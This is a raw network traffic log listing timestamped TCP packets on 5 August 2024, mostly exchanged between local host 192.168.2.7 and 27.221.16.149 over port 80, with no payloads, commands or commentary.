Aug 5, 2024 12:01:32.399441957 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399488926 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399684906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399696112 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399708033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399720907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399734020 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399734974 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399745941 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399759054 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.399774075 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.399810076 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400219917 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400232077 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400244951 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400263071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400274992 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400274992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400302887 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400302887 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400319099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400331974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400345087 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400347948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400350094 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400361061 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400374889 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400433064 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400433064 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400433064 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400919914 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400933027 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400955915 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400966883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400976896 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.400979042 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.400993109 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401004076 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.401031971 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.401417971 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401427984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401433945 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401452065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401468992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401473999 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401479959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401490927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401501894 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401510000 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.401515961 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401527882 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401540995 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401554108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401566982 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.401572943 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.401597977 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.401614904 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402280092 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402292013 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402301073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402313948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402326107 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402329922 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402338982 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402349949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402359009 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402362108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402369976 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402374029 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402385950 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402398109 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402409077 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402410984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.402443886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.402462006 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404383898 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404459000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404469967 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404503107 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404544115 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404556036 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404567003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404588938 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404604912 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404681921 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404694080 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404735088 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404742002 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404756069 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404767036 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404787064 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.404793024 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.404824972 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.694808006 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.694832087 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.694843054 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.694972992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.694983959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.694996119 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695113897 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.695215940 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695230007 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695240974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695251942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695256948 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.695336103 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.695439100 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695461035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695471048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695482016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695492983 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695504904 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695516109 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695525885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695543051 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695600986 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.695938110 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695949078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695960045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.695969105 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696026087 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.696448088 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696458101 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696469069 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696479082 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696492910 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696505070 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696515083 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696583033 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.696595907 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.696959972 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696969986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696980000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.696991920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697001934 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697015047 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697025061 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697036028 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697041988 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697048903 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697060108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697071075 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697082043 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697120905 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697191954 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697365046 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697376013 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697391033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697402000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697412968 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697427988 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697485924 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697491884 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697496891 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697508097 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697518110 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697529078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697540998 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697551012 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697562933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697573900 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697586060 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.697602034 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.697649002 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.698411942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698424101 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698434114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698443890 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698453903 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698470116 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698483944 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698494911 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698498011 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.698507071 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698518038 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698529959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698542118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698554039 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698565006 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698574066 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.698577881 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.698646069 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.699244976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.699255943 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.699268103 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.699278116 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.699290037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:32.699321032 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:32.699409962 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000005960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000125885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000137091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000149965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000160933 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000178099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000188112 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000201941 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000219107 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000274897 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000428915 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000438929 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000447989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000458956 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000474930 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000484943 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000497103 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000504017 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000518084 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000526905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000538111 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000544071 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000550985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000562906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000567913 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000572920 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000586987 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000597000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.000600100 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000622034 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.000641108 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001291037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001301050 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001311064 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001322985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001332045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001342058 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001343966 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001355886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001368046 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001379013 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001399040 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001429081 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001815081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001825094 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001835108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001851082 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001863003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001864910 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001873970 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001879930 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001888037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001898050 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.001913071 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001950026 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.001991987 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002002001 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002012014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002022982 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002029896 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002034903 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002044916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002046108 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002057076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002067089 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002077103 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002079010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002091885 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002104044 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002104998 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002115965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002127886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002130032 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002149105 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002166986 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.002206087 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002963066 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002974033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002985001 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.002998114 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003009081 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003011942 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003026962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003038883 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003041983 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003048897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003062963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003076077 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003087044 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003102064 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003114939 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003114939 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003145933 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003297091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.003340960 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.003489017 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004059076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004072905 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004084110 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004096031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004107952 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004110098 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004123926 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004127979 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004136086 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004154921 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004178047 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004220963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004234076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004245043 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004256010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004262924 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004267931 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004280090 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004292011 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004307985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.004318953 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004331112 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.004350901 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.005039930 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005054951 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005068064 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005079985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005095959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005101919 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.005120039 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.005177975 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005189896 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005203009 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.005219936 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.005245924 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.018335104 CEST	80	49737	81.70.163.227	192.168.2.7
Aug 5, 2024 12:01:33.018496990 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:01:33.344988108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345025063 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345041037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345186949 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345202923 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345204115 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345218897 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345236063 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345312119 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:33.345408916 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:33.345506907 CEST	80	49894	27.221.16.149	192.168.2.7
